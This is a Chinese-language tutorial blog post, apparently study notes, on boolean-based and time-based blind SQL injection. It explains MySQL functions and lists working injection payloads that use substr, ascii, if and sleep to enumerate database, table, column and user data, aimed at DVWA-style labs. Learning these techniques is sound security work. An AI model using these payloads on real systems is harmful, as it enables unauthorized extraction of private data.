• 渗透学习之SQL注入盲注


    盲注分为两类:
     基于布尔型 SQL 盲注
    • 基于布尔型 SQL 盲注即在 SQL 注入过程中,应用程序仅仅返回 True(页面)和 False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到需要的信息。
    基于时间型 SQL 盲注
    注入 SQL 代码之后,存在以下两种情况:
    • 如果注入的 SQL 代码不影响后台[数据库]的正常功能执行,那么 Web 应用的页面显示正确(原始页面)。
    • 如果注入的 SQL 代码影响后台数据库的正常功能(产生了 SQL 注入),但是此时Web 应用的页面依旧显示正常(原因是 Web 应用程序采取了“重定向”或“屏蔽”措施)。
    产生一个疑问:注入的 SQL 代码到底被后台数据库执行了没有?即 Web 应用程序是否存在 SQL 注入?
    面对这种情况,之前讲的基于布尔的 SQL 盲注就很难发挥作用了(因为基于布尔的 SQL 盲注的前提是 Web 程序返回的页面存在 true 和 false 两种不同的页面)。这时,一般采用基于 web 应用响应时间上的差异来判断是否存在 SQL 注入,即基于时间型 SQL 盲注。
    函数
    1、判断结果的记录数 COUNT()
    COUNT(column_name) 函数
    函数返回指定列的值的数目(NULL 不计入)
    语法示例:
    Select count(user) from users//返回表中 user 列的记录数
    select count(*) from users //返回表中的记录数
    2、返回数据中的某几行数据 limit()
    Limit(m,n)函数
    说明:m 代表从 m+1 条记录行开始检索,n 代表取出 n 条数据。(m 可设为 0)
    语法示例:
    select * from 表名 limit m,n;
    select user from users limit 0,1;  //检索记录行 1
    3、内容长度判断函数 length()
    length( ) 函数
    length( )函数返回文本字段中值的长度。
     
    4、字符串截取函数 mid() substr() substring() left()
    字符串截取函数有几个类似函数,mid()substr()substring()和 left(),其中前三个函数用法基本一致。
    ~mid(string,start,length)函数,每个参数的含义如下:
    • string(必需)规定要返回其中一部分的字符串。
    • start(必需)规定开始位置(起始值是 1)。
    • length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。
     
    ~substring(string, start, length)和 substr(string, start, length)
    substr()和 substring()函数实现的功能是一样的,均为截取字符串。
    其中,每个参数的含义如下:
    • string(必需)规定要返回其中一部分的字符串。
    • start(必需)规定开始位置(起始值是 1)。
    • length(可选)要返回的字符数
     
    ~left(string,length)函数
    截取指定长度的字符串,每个参数的含义如下:
    • string(必需)规定要返回其中一部分的字符串。
    • length(可选)规定被返回字符串的前 length 长度的字符。
     
    5、字符转 ascii 码函数 ascii()
    Ascii()函数
    将字符转化为 ascii 码。如果是字符串,则返回的最左字符的数值。也就是第一个字符的 ascii 值。如果字符串为空字符串。则返回 NULL,如果字符串为 NULL。ASCII()返回数值是从 0 到 255 随机;
    语法示例:
    Select ascii(substr(user,1,1)) from users limit 0,1;
     
    基于布尔逻辑的盲注
    基于布尔型 SQL 盲注即在 SQL 注入过程中,应用程序仅仅返回 True(页面)和 False(页面)。但不会回显程序返回信息。对于布尔型盲注,可以通过构造逻辑判断(比较大小)来得到数据库内容信息。
    盲注的步骤与注入语句:(注入需要在注入点拼接注入语句,实现逻辑判断)
    1、 判断当前数据库名长度与数据库名
    And Length(database())>n //判断当前数据库长度
    And Ascii(Substr(database(),m,1))>n //截取数据库名第 m 个字符并转换为 ascii 码
    2、 判断数据库的表长度与表名
    And Length((Select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度
    And Ascii(substr((Select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第 m 个字符串并转换为ascii码。
    3、 判断数据库的字段名长度与字段名称
    And Length((Select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表中字段名的长度
    And Ascii((substr(Select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第 m 字符串并转换为 ascii 码
    4、 判断字段的内容长度与内容字符串
    And length((select user from users limit 0,1))>1 //判断字符串内容长度
    And Ascii(substr((select user from users limit 0,1),m,1)) //截取第 m 个字符串并转换为 ascii码
    函数
    1、逻辑判断函数 if()
    IF(expr1,expr2,expr3) 如果 expr1 为真,则 IF()函数执行 expr2 语句; 否则 IF()函数执行 expr3 语句。
    输入:select user from users where user_id=1 and1=IF(ascii(substr(database(),1,1))>1,SLEEP(5),1);
    这里如果条件 ascii(substr(database(),1,1))>1 成立,则执行 sleep(5),否则执行1
    2、延迟查询函数 sleep()
    Sleep()函数执行是有条件的,必须保障 sql 语句执行结果存在数据记录才会停止指定的秒数,如果 sql 语句查询结果为空,那么 sleep()函数不会停止。Sleep 函数执行停留后,执行后返回值为 0.
    由于 sleep()函数返回值为 0,因此执行 select user from users whereuser_id=1 and sleep(3),执行能停留 3 秒,但是结果为空。
    3、延迟查询函数 BENCHMARK()
    BENCHMARK(count,expr)即 BENCHMARK()函数重复执行表达式 expr count 次,实际表现就是查询延迟。可也配合 if 函数,实现延迟的注入判断。
    备注:一般情况下,不建议使用 BENCHMARK()函数,因为其消耗大量的 CPU 资源。
    基于时间型 SQL 盲注
    1、判断注入点
    id=1' and sleep(3) and '1'='2 //语句错误,查询未延迟
    id=1' and sleep(3) and '1'='1 //语句正确,有查询结果,sleep()函数执行延迟 3 秒
    2、枚举出当前数据库名
    id=1' and sleep(3) and ascii(substr(database(),m,1))>n--+
    id=1' and if(ascii(substr(database(),m,1)) > n, sleep(3),1)--+、
    3、枚举当前数据库的表名
    id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database( ) limit a,1),m,1))>n and sleep(3) --+ (这有个奇怪的问题,sleep 放在前面不行)
    说明:a 是从 0 开始第几个表,m 是为第几个字符,n 是 ASCII 所对应的十进制数。
    id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>1,sleep(5),1)--+
    4、枚举当前数据表的字段名
    id=1'and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit a,1),m,1))>n and sleep(3)--+
    5、枚举各个字段对应的数据项内容
    id=1'and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3)--+
     

  • 相关阅读:
    Android的webview的设置参数
    禁止RecycleView滑动
    Volley加载不出图片的问题
    LIstview滑动时不加载图片,停止时加载!
    【原创】设计模式开篇—面向对象的软件设计
    [原创]写给自己的总结—2014到2015
    【原创】开车分四个阶段的话,你属于哪个
    【原创】亲身经历的几次合同陷阱
    【转】程序员需谨记的8条团队开发原则
    【转】绩效考核的10大误区
  • 原文地址:https://www.cnblogs.com/heiwa-0924/p/12826268.html
Copyright © 2020-2023  润新知